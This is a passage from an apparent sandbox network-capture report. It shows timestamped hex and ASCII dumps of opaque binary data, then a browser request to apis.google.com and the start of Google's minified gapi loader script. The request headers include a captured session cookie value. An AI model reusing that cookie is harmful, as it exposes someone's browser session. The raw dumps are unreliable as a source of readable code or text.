;^Ht@U]z[6XMl9~Hc<6er%4gh!~}0#48xN:2tA]:GM^Xz<c$Pud9++FPNlf4CQphg\|gtlFZ0j80j/ODR+i$LE88*idl
2024-12-18 16:16:56 UTC	8192	IN	Data Raw: 06 bb d3 ee f1 5b 1c 4e 82 a1 49 8e 10 64 46 95 68 91 c3 05 91 94 81 e7 92 3c 2d 50 2a 4d 51 20 74 40 f8 c5 ca 1d 4f b5 6e df 08 f5 77 f7 7c b7 c6 73 2e 04 04 08 1c 19 0a 30 89 10 1e 74 79 cc 13 78 c0 4e f8 ac a0 b2 20 33 29 8e 64 f4 a8 a5 e1 99 fa 5d 1f 8e 9d 9e 05 da 2a b8 0d d6 11 45 61 34 d0 69 92 01 4a 41 7a 63 12 30 86 12 41 a7 54 94 bd 42 77 3a 2e 01 52 44 96 3d 3e de 10 86 f0 af 03 17 07 69 23 85 1a c4 22 e0 02 08 2a 4f 71 44 3c 11 09 85 49 9e 17 14 15 d4 a4 46 71 a0 e8 3c c7 cc da 8c be 44 40 02 85 d2 28 4c 8c 49 20 c4 01 b3 43 a2 1a ec ef d6 ee 3f 47 0d 8f 81 30 02 38 4a 20 75 14 c6 40 f2 aa 18 06 1c ae d0 ac ce cb a0 ca 49 05 95 e6 22 42 3d 08 9a c4 e9 52 02 04 33 da 53 c9 31 de 17 05 8e 49 72 92 ca 88 1c 29 c9 2c 9d e4 71 85 45 82 a0 20 2b 9a Data Ascii: [NIdFh<-PMQ t@Onw\|s.0tyxN 3)d]Ea4iJAzc0ATBw:.RD=>i#"*OqD<IFq<D@(LI C?G08J u@I"B=R3S1Ir),qE +
2024-12-18 16:16:56 UTC	16384	IN	Data Raw: b5 7c 4e 53 ff 7f ef 9b e1 a2 41 2a f5 42 be 05 2e 1b f5 9c 29 25 df 84 44 f7 9c 31 b1 68 06 35 c1 2e 22 5f 23 4a f6 15 8d ab b5 16 a8 9f 83 bb e5 ce c2 ee 3a df aa f3 c3 39 53 08 af 58 ed 81 52 93 92 3f 8c 35 5a 85 da f1 48 d7 2c f6 6b 5e e3 ee 9f 2e a2 7b 82 a4 0b 98 1f e4 18 68 64 d0 3a ae 32 89 58 d0 9d 54 44 8a 4c a0 f1 7a 02 97 54 c4 58 d0 eb b3 cf a2 a7 49 65 f1 58 9c 01 f0 88 d0 ef 86 a2 81 60 d9 78 a4 ce 12 af 99 f5 36 27 22 dd a0 a5 99 2a 5f ab cc de af f5 fd b5 3e ed a1 92 f5 46 94 38 60 51 30 84 88 03 4d 29 58 cc ef b2 f8 fd f6 50 d8 ed 07 e1 d9 ae c3 8f 8f 1e 41 e3 6f bc 31 c2 15 f5 db 02 76 8b d7 e5 89 06 48 99 96 11 c1 29 4c cb 7e 01 a5 a6 75 64 31 f2 f7 51 8e 9f 81 2b 12 b1 71 09 41 12 f1 a4 88 6b 6c 5c e3 13 e8 60 49 72 08 22 c3 44 b1 80 Data Ascii: \|NSAB.)%D1h5."_#J:9SXR?5ZH,k^.{hd:2XTDLzTXIeX`x6'"_>F8`Q0M)XPAo1vH)L~ud1Q+qAkl\`Ir"D
2024-12-18 16:16:56 UTC	8192	IN	Data Raw: 74 a1 20 e7 0c 9e c7 c2 74 d8 83 85 1c 2c 48 3b e9 4e a4 95 ea fb a2 17 b0 6a 48 fd 62 60 df 33 ad 5b 4f 66 ad 49 90 e3 a9 70 28 e8 57 45 89 c0 b1 42 de 34 74 95 c0 b1 44 3c 8c b8 e2 bc ce 33 78 2c e8 f6 3b a6 87 bb 9a fb 5b ea bc 96 11 50 38 28 e8 78 3a e2 72 db 18 96 88 04 82 9e 19 db 78 d7 a0 63 d2 2a 2b 5a c2 10 22 90 b3 43 b6 0e 42 5b 42 f5 7f 6e df fb 52 63 d9 9d fd 6b be 3e b6 ea 3f 46 96 be c4 9f 79 71 62 cb 33 9d ab ef 6c 98 bf 19 ba 26 20 b1 db 76 f1 57 bd db 96 d8 cf 84 20 13 64 bc 8d 96 d6 56 6f 5f 5d a0 73 52 71 b5 b8 7a aa 9d 9d 63 90 39 22 59 ee b8 b1 f2 f5 de 7d 6e c8 04 31 77 8c f6 c5 00 3f 6f 4e 3e df ba f1 c9 c6 d2 4b 30 4c c2 b0 94 aa f4 f7 7d 71 e9 e8 4a 9f 1a 1a 10 a8 8b b3 c9 ae 0c 2a 37 3b d8 49 96 bb a1 22 04 e5 71 b8 1a 86 2b 76 Data Ascii: t t,H;NjHb`3[OfIp(WEB4tD<3x,;[P8(x:rxc+Z"CB[BnRck>?Fyqb3l& vW dVo_]sRqzc9"Y}n1w?oN>K0L}qJ7;I"q+v
2024-12-18 16:16:56 UTC	16384	IN	Data Raw: 82 fa 48 5c 32 16 77 a7 e5 84 15 d2 ef 18 4f fe b3 66 cb c7 83 47 27 01 af f4 f5 b6 3a fb 7c 84 97 a5 a3 48 1e 92 8e aa 74 2c 07 64 36 47 31 44 84 0d 7a d5 80 1f e2 e9 98 c9 4c e3 a9 34 8f 67 54 8e 03 2d 9a 88 07 40 bd bd 75 c7 c3 93 07 3a 24 fb 10 04 9f 0f 9e b9 b2 7d f3 26 47 69 14 58 14 b8 c3 90 72 4e 0c 33 09 52 e3 25 00 2c 93 19 1c 1d 8b c5 62 d9 6c 36 07 59 82 c2 29 9e d6 20 ab 81 8a 33 99 14 8e e1 44 22 1a f5 e2 78 2c 85 f9 72 c8 37 9f 3e 67 62 16 69 04 a0 c8 49 19 89 c4 62 7e 7b 22 e2 63 c8 44 0e d4 28 81 9d aa 2a a5 41 3b 5d 51 76 fe 3f 2e 9d 3f 67 c1 c9 23 bf 5d 73 cd 75 b5 b5 f5 90 83 ae 86 0e ff b8 9d 09 a5 25 41 e6 41 4c cb 99 50 7f 97 e9 95 0f e3 f7 bf 20 cf 59 42 3d 3c 97 9a 33 87 78 f9 39 75 d7 66 38 fa 93 69 ce 42 ef 0b 6f 8c bf b3 14 26 Data Ascii: H\2wOfG':\|Ht,d6G1DzL4gT-@u:$}&GiXrN3R%,bl6Y) 3D"x,r7>gbiIb~{"cD(*A;]Qv?.?g#]su%AALP YB=<3x9uf8iBo&
2024-12-18 16:16:56 UTC	8192	IN	Data Raw: 24 81 99 b6 c1 f2 4c ae 90 b5 5d 4b 14 79 4d 53 34 55 d4 54 d1 40 ed 8a a0 c9 9c a9 89 9e 8d 8c fe 14 be c2 10 25 86 24 ca f9 02 56 28 62 85 62 36 99 ca a5 d2 58 a1 58 ce 17 92 f1 54 2e 93 cf 65 f2 f1 68 22 16 89 a7 d3 59 9e 45 6d 8c ee 68 1a 18 ac a3 2a 28 07 c3 a1 54 11 05 14 ea a6 2b 4b 18 e8 57 0c ed 39 7f 74 e7 28 e4 c6 a1 f4 f1 a9 7b cf 38 fe d0 18 32 bc 22 86 81 38 04 a9 dd fa 89 1f c6 0e 5d 34 b8 eb d2 e1 dd 57 f6 ef fc 7c f7 d6 4d 0c 9e 74 24 12 65 82 38 22 5d 4c bc e7 42 e7 c8 b6 54 21 b2 91 52 c2 8f d2 90 2d 01 34 c6 12 70 e4 f2 66 c9 35 d3 10 05 cb 52 a5 04 83 a5 90 f3 a7 2d 83 4e f3 0e 99 02 79 f3 ca a1 cb bb 1f ba 3b dc 14 07 3c 93 0b 72 85 14 70 c8 c3 0b f9 ae 33 39 64 d2 63 c9 aa c4 f2 3c 9f c8 a4 93 b9 94 61 70 00 0c 32 a1 15 57 40 5f 50 Data Ascii: $L]KyMS4UT@%$V(bb6XXT.eh"YEmh*(T+KW9t({82"8]4W\|Mt$e8"]LBT!R-4pf5R-Ny;<rp39dc<ap2W@_P
2024-12-18 16:16:56 UTC	16384	IN	Data Raw: 2c 8a 2d ad 88 c5 0c e3 b2 93 4a e4 d2 37 ee bc 74 78 f7 6f 61 e8 e2 e5 bd 67 b4 dc b1 bf dc 4b 00 9f d3 84 fe ac d9 92 81 c6 04 7a 35 55 c9 54 ed 31 b3 23 66 20 78 d4 48 22 ff 71 33 58 3b 3d ea fd de 91 08 6a 36 1e 3c 12 de d6 12 7b 77 cd 1d c0 10 b3 fd e4 7d ff 7f f4 a6 de 87 c8 5a 35 bd 47 bd cf 7e b8 3d f2 e2 04 59 fb 61 8d 98 88 e8 ba 61 38 1a 32 6e bf 7b 4f 20 90 c2 49 15 67 ac 8a 00 62 95 f4 24 28 c0 f3 68 3a 65 6b ae a5 3a 9a 02 9a 06 a2 82 2c 93 17 52 c2 80 af 5c bf 91 6d cb c9 6d 65 a7 29 69 3c 37 9c f9 c1 96 c3 0f be 34 d9 30 51 99 cc 40 7f 48 6b 5b 2c 4f 44 c5 1c 0f a2 83 ce 0a d9 f6 34 d3 d3 15 db 41 7c 60 54 8e 58 32 12 4b 59 86 5d 2e e3 99 54 56 e2 78 4b d1 5c 49 b3 55 dd 72 6c 41 91 ab f5 33 58 96 43 81 db 0c b9 ab 3a 76 dd d2 ff cc 2a 70 Data Ascii: ,-J7txoagKz5UT1#f xH"q3X;=j6<{w}Z5G~=Yaa82n{O Igb$(h:ek:,R\mme)i<740Q@Hk[,OD4A\|`TX2KY].TVxK\IUrlA3XC:v*p
2024-12-18 16:16:56 UTC	8192	IN	Data Raw: a5 77 c5 56 98 f8 7a ef fa db db d7 8c a0 61 14 0d ba 88 5e b8 a6 21 5a ba 64 68 20 29 25 90 9f a7 ba 97 0e 6e dd 99 ee 1c 83 f2 cf e6 3f ba a9 71 cd 71 75 21 86 6a 6d b4 5b 3c d7 34 5c e0 1c 2f 66 95 5c e9 aa a5 9d eb 1e 3c bb bb 03 13 95 8a 7e e0 72 a0 b5 8e 9e 14 40 cc e8 65 ce e1 51 cf ae 49 92 41 e5 80 69 52 3d bf 9d fc f0 c6 a6 35 57 1f 5f fe ab e0 b1 66 c8 64 40 cb b2 d9 64 d0 0b 86 14 a7 53 33 90 df 98 3a 71 4f fb 96 9f b4 6f 1f 80 f8 69 71 7e 30 33 3e 1c 9d 6c 1c 68 97 f1 6a 6d 18 04 ad a4 0b 3a 23 c4 12 f1 14 5d 60 4c c9 72 4c 51 60 4a 44 9e 17 28 30 14 53 13 55 4b 8b e6 d2 de 48 28 43 96 44 1d b3 e0 25 05 3d d4 b2 d9 34 c3 50 b2 c4 91 44 21 1d 8f 10 85 ac a1 88 ee 3a ae 29 a0 69 9c 6d 94 c1 2c 83 11 31 94 5e 89 ab e5 e9 63 ba d4 67 2b 11 5d 20 Data Ascii: wVza^!Zdh )%n?qqu!jm[<4\/f\<~r@eQIAiR=5W_fd@dS3:qOoiq~03>lhjm:#]`LrLQ`JD(0SUKH(CD%=4PD!:)im,1^cg+]
2024-12-18 16:16:56 UTC	16384	IN	Data Raw: 97 60 2a bc a5 6d f9 78 fb de 8f 77 82 6e 1b 0c a7 f0 b4 6c 0b 49 29 23 82 59 d7 dd 74 ed b5 d7 3c f4 c0 af af b9 e6 aa 9f ff f2 f6 eb 66 de f0 c2 aa 17 d3 4e 32 05 c9 01 66 34 86 21 ab 6a 4a a1 54 db b6 1d 20 48 76 c8 33 a6 81 95 06 b5 13 a8 75 72 d7 4d 83 ef fe b8 76 de 75 e5 73 e6 74 6c 3a 23 0c 13 18 c8 46 f4 03 b7 0f c2 97 34 2f fd 5e db 82 19 c1 8d 3f 19 5c 74 71 ff c2 1f d7 3c f3 cb 8e 95 ef 27 6a c6 81 c9 82 c5 bb 2e 4a 15 00 18 83 f2 65 86 bc c9 36 56 6d 55 c8 9d 64 e0 23 d7 9c 88 d0 de 96 70 5b 3b d5 77 22 dc d2 93 1d 39 3b d1 9b 88 4c 5a d9 10 10 31 a4 bf 50 8c cc 64 b9 5c 02 18 5e 8b c4 0d 2a 37 19 f6 78 f4 c8 aa 89 f2 f3 ea 17 cd 0c ef 1b 00 86 01 bc da 21 de 53 96 92 e1 b8 c0 2b 82 a6 d1 96 cc e3 6d d4 54 34 59 d0 24 8c e8 95 c4 88 cf 67 aa Data Ascii: `mxwnlI)#Yt<fN2f4!jJT Hv3urMvustl:#F4/^?\tq<'j.Je6VmUd#p[;w"9;LZ1Pd\^7x!S+mT4Y$g

Timestamp	Bytes transferred	Direction	Data
2024-12-18 16:17:13 UTC	886	OUT	GET /js/client.js?onload=gapiLoaded HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: / X-Client-Data: CIS2yQEIpbbJAQipncoBCIb0ygEIkqHLAQiFoM0BCLKezgEI/aXOAQjsvM4BCMfPzgEI/NDOAQic0s4BCI7TzgEIs9POAQjW1M4BCOzVzgEY9MnNAQ== Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sites.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=520=czl6nQNz_zavgWVtxVEpZjJFSLVkoEqxTBlzmWOTuM3UiBf49GZmcdxK1-K4sCXpup5_0_--oGVh2kKMfP2EnNepIvJnoBAXZhoPgK-15UOnARFi4esxdc_JaRltUtVS2yAUQhLeWdxBRgwzjCL8n_Dg49HfTIuKpWxF1WmSrGvq9YngXXZRg5Nb
2024-12-18 16:17:13 UTC	837	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Access-Control-Allow-Origin: * Content-Security-Policy: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gapi-team Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="gapi-team" Report-To: {"group":"gapi-team","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gapi-team"}]} Timing-Allow-Origin: * Content-Length: 14461 Date: Wed, 18 Dec 2024 16:17:13 GMT Expires: Wed, 18 Dec 2024 16:17:13 GMT Cache-Control: private, max-age=1800, stale-while-revalidate=1800 ETag: "da287f7ab1476565" X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-18 16:17:13 UTC	553	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 62 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e Data Ascii: (function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof win
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 61 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 Data Ascii: break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegEx
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 72 72 6f 72 28 22 42 61 64 20 73 65 63 72 65 74 22 29 3b 74 68 69 73 2e 6c 3d 61 7d 3b 79 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 7d 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 62 6c 61 6e 6b 22 29 3b 6e 65 77 20 79 28 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 22 29 3b 76 61 72 20 41 3d 5b 5d 2c 44 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 41 20 55 52 4c 20 77 69 74 68 20 63 6f 6e 74 65 6e 74 20 27 22 2b 61 2b 22 27 20 77 61 73 20 73 61 6e 69 74 69 7a 65 64 20 61 77 61 79 2e 22 29 7d 3b 41 2e 69 6e 64 65 78 4f 66 28 44 29 3d 3d 3d 2d 31 26 26 41 2e 70 75 73 68 28 44 29 3b 2f 2a 0a 20 67 61 70 69 2e Data Ascii: rror("Bad secret");this.l=a};y.prototype.toString=function(){return this.l};new y("about:blank");new y("about:invalid#zClosurez");var A=[],D=function(a){console.warn("A URL with content '"+a+"' was sanitized away.")};A.indexOf(D)===-1&&A.push(D);/* gapi.
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 6b 61 2c 22 5f 70 22 2c 49 28 29 29 2c 48 28 62 2c 63 2c 49 28 29 29 5b 61 5d 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 52 28 61 2c 22 5f 70 22 2c 63 29 29 7d 2c 6d 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 6a 6f 69 6e 28 22 5f 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2e 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 2d 2f 67 2c 22 5f 22 29 2e 72 65 70 6c 61 63 65 28 2f 2c 2f 67 2c 22 5f 22 29 7d 3b 76 61 72 20 6e 61 3d 49 28 29 2c 55 3d 5b 5d 2c 56 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 42 61 64 20 68 69 6e 74 3a 20 22 2b 61 29 3b 7d 3b 55 2e 70 75 73 68 28 5b 22 6a 73 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 20 69 6e 20 61 29 Data Ascii: ka,"_p",I()),H(b,c,I())[a]=(new Date).getTime(),R(a,"_p",c))},ma=function(a){return a.join("__").replace(/\./g,"_").replace(/\-/g,"_").replace(/,/g,"_")};var na=I(),U=[],V=function(a){throw Error("Bad hint: "+a);};U.push(["jsl",function(a){for(var b in a)
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 22 2c 22 29 7d 3b 72 65 74 75 72 6e 5b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 2e 70 61 74 68 50 72 65 66 69 78 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 43 2f 67 2c 0a 22 2c 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 32 46 2f 67 2c 22 2f 22 29 2c 22 2f 6b 3d 22 2c 65 28 61 2e 76 65 72 73 69 6f 6e 29 2c 22 2f 6d 3d 22 2c 65 28 62 29 2c 64 3f 22 2f 65 78 6d 3d 22 2b 65 28 64 29 3a 22 22 2c 22 2f 72 74 3d 6a 2f 73 76 3d 31 2f 64 3d 31 2f 65 64 3d 31 22 2c 61 2e 67 3f 22 2f 61 6d 3d 22 2b 65 28 61 2e 67 29 3a 22 22 2c 61 2e 69 3f 22 2f 72 73 3d 22 2b 65 28 61 2e 69 29 3a 22 22 2c 61 2e 6a 3f 22 2f 74 3d 22 2b 65 28 61 2e 6a 29 3a 22 22 2c 22 2f 63 62 3d 22 2c 65 28 63 29 5d 2e 6a 6f 69 6e 28 22 22 Data Ascii: .replace(/%2C/g,",")};return[encodeURIComponent(a.pathPrefix).replace(/%2C/g,",").replace(/%2F/g,"/"),"/k=",e(a.version),"/m=",e(b),d?"/exm="+e(d):"","/rt=j/sv=1/d=1/ed=1",a.g?"/am="+e(a.g):"",a.i?"/rs="+e(a.i):"",a.j?"/t="+e(a.j):"","/cb=",e(c)].join(""
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 2c 66 3b 69 66 28 66 3d 65 29 7b 61 3a 7b 66 6f 72 28 66 3d 30 3b 66 3c 62 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 69 66 28 62 5b 66 5d 3d 3d 3d 65 29 62 72 65 61 6b 20 61 3b 66 3d 2d 31 7d 66 3d 66 3c 30 7d 66 26 26 63 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 63 7d 2c 43 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4d 2e 6e 6f 6e 63 65 3b 72 65 74 75 72 6e 20 61 21 3d 3d 76 6f 69 64 20 30 3f 61 26 26 61 3d 3d 3d 53 74 72 69 6e 67 28 61 29 26 26 61 2e 6d 61 74 63 68 28 41 61 29 3f 61 3a 4d 2e 6e 6f 6e 63 65 3d 6e 75 6c 6c 3a 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 3f 28 61 3d 46 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 6e 6f 6e 63 65 5d Data Ascii: a.length;++d){var e=a[d],f;if(f=e){a:{for(f=0;f<b.length;f++)if(b[f]===e)break a;f=-1}f=f<0}f&&c.push(e)}return c},Ca=function(){var a=M.nonce;return a!==void 0?a&&a===String(a)&&a.match(Aa)?a:M.nonce=null:F.querySelector?(a=F.querySelector("script[nonce]
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 22 54 69 6d 65 6f 75 74 20 72 65 71 75 69 72 65 73 20 62 6f 74 68 20 74 68 65 20 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 61 6e 64 20 6f 6e 74 69 6d 65 6f 75 74 20 70 61 72 61 6d 65 74 65 72 20 74 6f 20 62 65 20 73 65 74 22 3b 0a 6c 3d 48 28 4f 28 63 29 2c 22 72 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 3b 76 61 72 20 47 3d 48 28 4f 28 63 29 2c 22 4c 22 2c 5b 5d 29 2e 73 6f 72 74 28 29 2c 4d 61 3d 4d 2e 6c 65 7c 7c 5b 5d 2c 4b 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6c 29 2c 6c 61 3d 66 75 6e 63 74 69 6f 6e 28 77 2c 42 29 7b 69 66 28 7a 29 72 65 74 75 72 6e 20 30 3b 45 2e 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 71 29 3b 47 2e 70 75 73 68 2e 61 70 70 6c 79 28 47 2c 72 29 3b 76 61 72 20 43 3d 28 28 4a 7c 7c 7b 7d 29 2e 63 6f 6e 66 69 67 7c 7c 7b 7d 29 2e 75 Data Ascii: "Timeout requires both the timeout parameter and ontimeout parameter to be set";l=H(O(c),"r",[]).sort();var G=H(O(c),"L",[]).sort(),Ma=M.le\|\|[],K=[].concat(l),la=function(w,B){if(z)return 0;E.clearTimeout(q);G.push.apply(G,r);var C=((J\|\|{}).config\|\|{}).u
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 62 21 3d 3d 22 22 7c 7c 21 61 2e 65 6e 64 73 57 69 74 68 28 22 2e 6a 73 22 29 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 61 2e 6c 65 6e 67 74 68 2d 33 29 2c 62 3d 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2f 22 29 2b 31 2c 62 3e 3d 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 3d 61 2e 73 75 62 73 74 72 28 62 29 2e 73 70 6c 69 74 28 22 3a 22 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 21 5b 22 61 70 69 22 2c 22 70 6c 61 74 66 6f 72 6d 22 5d 2e 69 6e 63 6c 75 64 65 73 28 64 29 7d 29 2c 63 2e 66 65 61 74 75 72 65 73 3d 61 29 29 7d 5d 29 3b 51 2e 62 73 30 3d 77 69 6e 64 6f 77 2e 67 61 70 69 2e 5f 62 73 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 52 28 22 62 73 30 22 29 3b 51 2e 62 73 31 3d Data Ascii: b!==""\|\|!a.endsWith(".js")\|\|(a=a.substring(0,a.length-3),b=a.lastIndexOf("/")+1,b>=a.length\|\|(a=a.substr(b).split(":").filter(function(d){return!["api","platform"].includes(d)}),c.features=a))}]);Q.bs0=window.gapi._bs\|\|(new Date).getTime();R("bs0");Q.bs1=
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 70 6c 75 73 2f 63 69 72 63 6c 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 0a 70 6c 75 73 5f 73 68 61 72 65 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 2b 31 2f 73 68 61 72 65 62 75 74 74 6f 6e 3f 70 6c 75 73 53 68 61 72 65 3d 74 72 75 65 26 75 73 65 67 61 70 69 3d 31 22 7d 2c 72 62 72 5f 73 3a 7b 70 61 72 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 73 69 6d 70 6c 65 73 63 72 6f 6c 6c 65 72 22 7d 2c 22 3a 73 Data Ascii: ix::se:_/widget/plus/circle?usegapi=1"},plus_share:{params:{url:""},url:":socialhost:/:session_prefix::se:_/+1/sharebutton?plusShare=true&usegapi=1"},rbr_s:{params:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarsimplescroller"},":s
2024-12-18 16:17:13 UTC	1390	IN	Data Raw: 61 6d 73 3a 7b 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 72 65 63 6f 62 61 72 69 6e 76 69 74 61 74 69 6f 6e 22 7d 2c 73 68 61 72 65 3a 7b 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 69 6d 5f 70 72 65 66 69 78 3a 5f 2f 77 69 64 67 65 74 2f 72 65 6e 64 65 72 2f 73 68 61 72 65 3f 75 73 65 67 61 70 69 3d 31 22 7d 2c 70 6c 75 73 6f 6e 65 3a 7b 70 61 72 61 6d 73 3a 7b 63 6f 75 6e 74 3a 22 22 2c 0a 73 69 7a 65 3a 22 22 2c 75 72 6c 3a 22 22 7d 2c 75 72 6c 3a 22 3a 73 6f 63 69 61 6c 68 6f 73 74 3a 2f 3a 73 65 73 73 69 6f 6e 5f 70 72 65 66 69 78 3a 3a 73 65 3a 5f Data Ascii: ams:{url:""},url:":socialhost:/:session_prefix::se:_/widget/render/recobarinvitation"},share:{url:":socialhost:/:session_prefix::im_prefix:_/widget/render/share?usegapi=1"},plusone:{params:{count:"",size:"",url:""},url:":socialhost:/:session_prefix::se:_

Timestamp	Bytes transferred	Direction	Data
